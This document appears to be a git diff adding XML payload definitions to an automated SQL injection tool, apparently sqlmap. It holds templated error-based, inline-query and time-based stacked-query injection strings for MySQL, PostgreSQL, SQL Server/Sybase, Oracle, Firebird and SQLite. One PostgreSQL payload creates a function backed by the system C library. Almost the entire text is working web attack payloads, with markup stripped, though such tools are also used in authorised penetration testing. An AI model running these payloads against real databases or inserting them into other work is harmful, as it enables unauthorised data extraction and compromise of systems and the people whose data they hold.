+ + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) + 2 + 2 + 1 + 1 + 1 + AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) + 2 + 2 + 3 + 1 + 2 + OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle AND error-based - WHERE or HAVING clause (XMLType) + 2 + 1 + 1 + 1 + 1 + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Oracle OR error-based - WHERE or HAVING clause (XMLType) + 2 + 1 + 3 + 1 + 2 + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) + 2 + 2 + 1 + 1 + 1 + AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle + >= 8.1.6 +
+
+ + + Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) + 2 + 2 + 3 + 1 + 2 + OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle + >= 8.1.6 +
+
+ + + Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 2 + 3 + 3 + 1 + 2 + OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) + 2 + 4 + 1 + 1 + 1 + AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Firebird AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+
+ + + Firebird OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+
+ + + + + + MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) + 2 + 2 + 1 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + + + MySQL >= 5.0 error-based - Parameter replace + 2 + 1 + 1 + 1,2,3 + 3 + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) + 2 + 3 + 1 + 1,2,3 + 3 + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) + + + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) + 2 + 4 + 1 + 1,2,3 + 3 + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) + + + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) + 2 + 5 + 1 + 1,2,3 + 3 + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + PostgreSQL error-based - Parameter replace + 2 + 2 + 1 + 1,2,3 + 3 + (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + PostgreSQL error-based - Parameter replace (GENERATE_SERIES) + 2 + 5 + 1 + 1,2,3 + 3 + (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - Parameter replace + 2 + 3 + 1 + 1,3 + 3 + (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + + (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) + 2 + 4 + 1 + 1,3 + 3 + (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle error-based - Parameter replace + 2 + 3 + 1 + 1,3 + 3 + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Firebird error-based - Parameter replace + 2 + 4 + 1 + 1,3 + 3 + (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) + + (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+
+ + + + + MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause + 2 + 3 + 1 + 2,3 + 1 + ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) + 2 + 4 + 1 + 2,3 + 1 + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) + 2 + 5 + 1 + 2,3 + 1 + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause + 2 + 2 + 1 + 2,3 + 1 + ,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + ,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 4.1 +
+
+ + + + PostgreSQL error-based - ORDER BY, GROUP BY clause + 2 + 3 + 1 + 2,3 + 1 + ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES) + 2 + 5 + 1 + 2,3 + 1 + ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) + + ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - ORDER BY clause + 2 + 4 + 1 + 3 + 1 + ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + + ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle error-based - ORDER BY, GROUP BY clause + 2 + 4 + 1 + 2,3 + 1 + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Firebird error-based - ORDER BY clause + 2 + 5 + 1 + 2,3 + 1 + ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) + + ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+
+ + +
diff --git a/xml/payloads/03_inline_query.xml b/xml/payloads/03_inline_query.xml new file mode 100644 index 000000000..b49d53834 --- /dev/null +++ b/xml/payloads/03_inline_query.xml @@ -0,0 +1,125 @@ + + + + + + MySQL inline queries + 3 + 1 + 1 + 1,2,3,8 + 3 + (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL +
+
+ + + PostgreSQL inline queries + 3 + 1 + 1 + 1,2,3,8 + 3 + (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase inline queries + 3 + 1 + 1 + 1,2,3,8 + 3 + (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') + + (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 + (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) + + (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + SQLite inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' + + SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite +
+
+ + + Firebird inline queries + 3 + 3 + 1 + 1,2,3,8 + 3 + SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE + + SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+
+ +
diff --git a/xml/payloads/04_stacked_queries.xml b/xml/payloads/04_stacked_queries.xml new file mode 100644 index 000000000..45ce87a9f --- /dev/null +++ b/xml/payloads/04_stacked_queries.xml @@ -0,0 +1,691 @@ + + + + + + MySQL > 5.0.11 stacked queries (SELECT - comment) + 4 + 1 + 1 + 0 + 1 + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL > 5.0.11 stacked queries (SELECT) + 4 + 2 + 1 + 0 + 1 + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL > 5.0.11 stacked queries (comment) + 4 + 2 + 1 + 0 + 1 + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + ;SELECT SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL > 5.0.11 stacked queries + 4 + 3 + 1 + 0 + 1 + ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + ;SELECT SLEEP([SLEEPTIME]) + + + + +
+ MySQL + > 5.0.11 +
+
+ + + MySQL < 5.0.12 stacked queries (heavy query - comment) + 4 + 2 + 2 + 0 + 1 + ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL +
+
+ + + MySQL < 5.0.12 stacked queries (heavy query) + 4 + 4 + 2 + 0 + 1 + ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL +
+
+ + + PostgreSQL > 8.1 stacked queries (comment) + 4 + 1 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;SELECT PG_SLEEP([SLEEPTIME]) + -- + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL > 8.1 stacked queries + 4 + 4 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;SELECT PG_SLEEP([SLEEPTIME]) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL stacked queries (heavy query - comment) + 4 + 2 + 2 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) + -- + + + + +
+ PostgreSQL +
+
+ + + PostgreSQL stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) + + + + +
+ PostgreSQL +
+
+ + + PostgreSQL < 8.2 stacked queries (Glibc - comment) + 4 + 3 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + -- + + + + +
+ PostgreSQL + < 8.2 + Linux +
+
+ + + PostgreSQL < 8.2 stacked queries (Glibc) + 4 + 5 + 1 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + + + + +
+ PostgreSQL + < 8.2 + Linux +
+
+ + + Microsoft SQL Server/Sybase stacked queries (comment) + 4 + 1 + 1 + 0 + 1 + ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + ;WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase stacked queries + 4 + 4 + 1 + 0 + 1 + ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + ;WAITFOR DELAY '0:0:[SLEEPTIME]' + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) + 4 + 1 + 1 + 0 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) + 4 + 4 + 1 + 0 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (heavy query - comment) + 4 + 2 + 2 + 0 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 + + + + +
+ Oracle +
+
